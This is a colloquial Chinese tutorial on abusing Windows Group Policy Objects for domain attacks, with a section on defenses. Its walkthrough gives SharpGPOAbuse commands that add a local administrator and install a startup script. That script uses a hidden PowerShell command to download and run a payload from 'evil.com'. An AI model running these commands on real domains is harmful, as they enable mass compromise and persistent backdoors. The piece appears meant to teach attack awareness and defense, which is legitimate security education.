GPO攻击使用说明

别慌！手把手教你玩转GPO攻击，这招绝了！

哎呦喂,各位老铁们，今天咱们得好好聊聊这个让人又爱又恨的GPO攻击，说真的，我第一回接触这玩意儿的时候，整个人都是懵的，心想这啥玩意儿啊？咋这么玄乎？结果等我真正搞明白以后，简直想拍大腿——原来这玩意儿这么有意思！得，废话不多说，咱直接上干货，我把这几年的实战心得全给你们抖搂出来！

首先啊,你得明白GPO是个啥，通俗点讲，GPO（组策略对象） 就像是Windows域环境里的“规章制度手册”，管理员靠它来统一管理所有计算机和用户的设置，但是啊！正因为这东西权限极高，一旦被黑客盯上，那可就出大事儿了。GPO攻击说白了，就是攻击者通过篡改或滥用这些策略，在域内为所欲为——想让你执行啥命令，你就得乖乖执行，连反抗的余地都没有，你说气人不气人？

咱们先聊聊GPO攻击的三大“门派”

第一派：篡改默认策略，哎我跟你说，这招真是“闷声发大财”的典范，攻击者通过某些手段拿到域管的权限后，直接修改默认域策略，往启动脚本里塞点“私货”——比如加一段恶意命令，只要域内任何一台电脑重启，哎嘿，恶意代码就自动跑起来了，整个过程悄无声息，就像你半夜睡觉被人调了闹钟，第二天早上你还以为是正常响铃呢，太恐怖了！

第二派：滥用GPO部署后门，这招更缺德！知道Scheduled Tasks（计划任务）吧？攻击者可以把恶意计划任务通过GPO下发到所有机器上，定时执行，现在网上的攻击工具比如PowerView、SharpGPOAbuse，那是一抓一大把，我试过，几个命令就能搞出一个有管理员权限的本地账户，吓人不？关键是你还发现不了，因为所有操作都披着“合法GPO”的皮，真是“穿着合法外衣的强盗”！

第三派：利用SYSVOL中的脚本，SYSVOL文件夹存放着所有域组策略脚本，很多管理员习惯把登录脚本、开机脚本放在这里，要是攻击者对这个文件夹有写权限，那就完犊子了——直接扔个恶意脚本上去，下次用户登录或者电脑开机，脚本自动执行，Cobalt Strike的Beacon就能悄悄上线，这个过程毫无动静，等你发现时，整个内网怕是都被扒了个底朝天！

实战！GPO攻击到底怎么操作？

来,重点来了！我给你们模拟一个经典的GPO攻击场景：

假设我是一个黑客,已经拿到一个普通域用户的权限（这里是通过钓鱼拿到的），我先用BloodHound扫描一下，很容易就能找到哪些GPO可以被我修改，尤其是那些链接到OU（组织单元）且包含用户或计算机的GPO，简直就是“香饽饽”。

然后我利用SharpGPOAbuse这个工具，执行以下命令：

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount john --GPOName "恶意策略"

就这么一句话！我就能把域用户john添加到受影响机器的本地管理员组！你想想，域里几千台电脑，我一口气全拿下了！好家伙，这效率比人工一台台渗透高多了！

这只是最基础的操作,更高级的玩法是添加开机脚本或者计划任务，实现持久化控制，比如用这个命令：

SharpGPOAbuse.exe --AddComputerScript --ScriptName startup.bat --ScriptContents "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')" --GPOName "恶意策略"

看到没？只要域内电脑重新启动，你的后门就自动弹回来了！这感觉，说真的有点上头（当然我是在自己搭的靶场里玩的，在真实环境搞这个可是违法的，咱们就图一乐，各位别当真啊！）。

最关键的防御手段，我哭着告诉你！

兄弟们,讲了这么多攻击手段，你们是不是觉得背后发凉？别怕！我熬夜给你们整理了防御方案，都拿小本本记好了：

第一,严格管控GPO修改权限，别让随便一个域用户都有链接GPO的权限，尽量保证只有Domain Admins和Enterprise Admins能修改GPO！这是底线啊亲！

第二,开启审计策略，在域控上开启对GPO修改的审计，一旦有人动了GPO，立刻报警，咱不要求做到百分百防住，但至少得能发现！

第三,定期检查SYSVOL脚本，用脚本定时扫描SYSVOL目录里所有的脚本文件，看有没有新增或者被修改的异常脚本，同时检查注册表里HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts项，发现可疑项马上清除，没商量！

还有啊,部署GPO处理事件的监控，比如利用Sysmon监控Event ID 8003、Event ID 400等事件，提前感知GPO变更，反正咱是能用的手段全用上，让黑客无从下手！